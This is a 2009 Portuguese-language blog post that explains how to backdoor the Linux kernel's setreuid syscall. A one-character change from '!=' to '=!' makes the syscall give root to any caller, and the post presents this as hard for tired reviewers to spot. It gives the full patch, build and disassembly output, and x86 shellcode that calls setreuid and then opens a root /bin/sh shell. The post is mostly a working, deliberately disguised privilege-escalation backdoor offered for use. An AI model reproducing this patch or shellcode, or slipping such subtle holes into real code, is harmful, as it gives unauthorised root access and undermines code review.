Mais um blog inútil.

Novembro 5, 2009

Backdoor em Lunix Kernel

Filed under: Coding,Linux — charlie-lindinho @ 8:57

oi lindinhos, assim num piscar de peida, apresento-vos uma forma simples e subtil de inserir uma backdoor num linux kernel e para isso foquei-me particularmente na syscall setreuid :

SYSCALL_DEFINE2(setreuid, uid_t, ruid, uid_t, euid)
{
	const struct cred *old;
	struct cred *new;
    int retval;
	...

    if (new->uid != old->uid) 
	{
        retval = set_user(new);
		if (retval < 0)
			goto error;
    }
	...

se quisessemos "backdoorar" a syscall em questao bastava-nos negar o valor do uid antigo e atribuir o valor do mesmo ao novo uid antes da funcao set_user.

e como negar o valor do uid actual ? tenham em conta o seguinte exemplo :

charlie@inferno:[~]$ cat > getuid.c << EOF
>#include <stdio.h>
>
>int main() {
>
>	printf("uid=%d\n", !getuid());
>}
>EOF
charlie@inferno:[~]$ gcc -o getuid getuid.c
charlie@inferno:[~]$ id
uid=1001(charlie) gid=100(users) groups=100(users)
charlie@inferno:[~]$ ./getuid
uid=0
charlie@inferno:[~]$

como podem verificar, o valor devolvido pela funcao getuid foi negado pelo operador "!" por outro lado, se o nosso uid fosse 0, o valor apresentado seria 1 :

charlie@inferno:[~]$ sudo ./getuid
Password:
uid=1
charlie@inferno:[~]$

entao para atribuir o valor *negado* do antigo uid ao novo uid e assim obter root atraves da syscall setreuid, basta-nos substituir a linha

if (new->uid != old->uid) por if (new->uid =! old->uid).

no que toca a codigos de *mil* linhas, como o do linux kernel, e' pouco provavel que um par de olhos cansados e cheios de cavalo note a diferenca entre um "!=" e "=!".

aqui vai o patch :

[ setreuid.patch ]

--- kernel/sys.c
+++ kernel/sys.c
@@ -636,7 +636,7 @@
                        goto error;
        }

-       if (new->uid != old->uid) {
+       if (new->uid =! old->uid) {
                retval = set_user(new);
                if (retval < 0)
                        goto error;



charlie@inferno:[/usr/src/linux-2.6.29.1]$ sudo patch -p0 < setreuid.patch
Password:
patching file kernel/sys.c
charlie@inferno:[/usr/src/linux-2.6.29.1]$ sudo make bzImage &> /dev/null
charlie@inferno:[/usr/src/linux-2.6.29.1]$ gdb vmlinux
    (no debugging symbols found)
    (gdb) disas sys_setreuid

...

0xc1030e98 <sys_setreuid+149>:  xor    eax,eax				eax = 0
0xc1030e9a <sys_setreuid+151>:  cmp    DWORD PTR [edi+0x4],0x0		compara o uid antigo com 0x0
0xc1030e9e <sys_setreuid+155>:  sete   al				al = 0 (zero flag = 0)
0xc1030ea1 <sys_setreuid+158>:  test   eax,eax				
0xc1030ea3 <sys_setreuid+160>:  mov    DWORD PTR [esi+0x4],eax		uid novo = eax (0)

...

(gdb) q
charlie@inferno:[/usr/src/linux-2.6.29.1]$

reboot, siga, fumos.

charlie@inferno:[~]$ cat > org.asm << EOF
>         bits 32
>
>
>         global  _start
>
>
>         _start
>
>
>         push    byte    0x46
>         pop     eax
>
>         dec     ebx
>         dec     ecx
>
>         int     0x80
>
>         inc     ecx
>         push    ecx
>         push    dword   0x68732f2f
>         push    dword   0x6e69622f
>
>         push    esp
>         pop     ebx
>
>         push    byte    0xb
>         pop     eax
>
>         int     0x80
> EOF
charlie@inferno:[~]$ nasm -f elf org.asm && ld -o orgasm org.o
charlie@inferno:[~]$ ./orgasm
bash-3.1# id
uid=0(root) gid=100(users) groups=100(users)
bash-3.1# exit
charlie@inferno:[~]$

tendo em conta que provavelmente este sera' o meu ultimo post para as intermetes, so vos digo :
gosto muito da minha gatinha e acho que ela gosta de mim.
eu sou maluco e eu tambem. adeus.

Comentar

widgeon
widgeon
widgeon
widgeon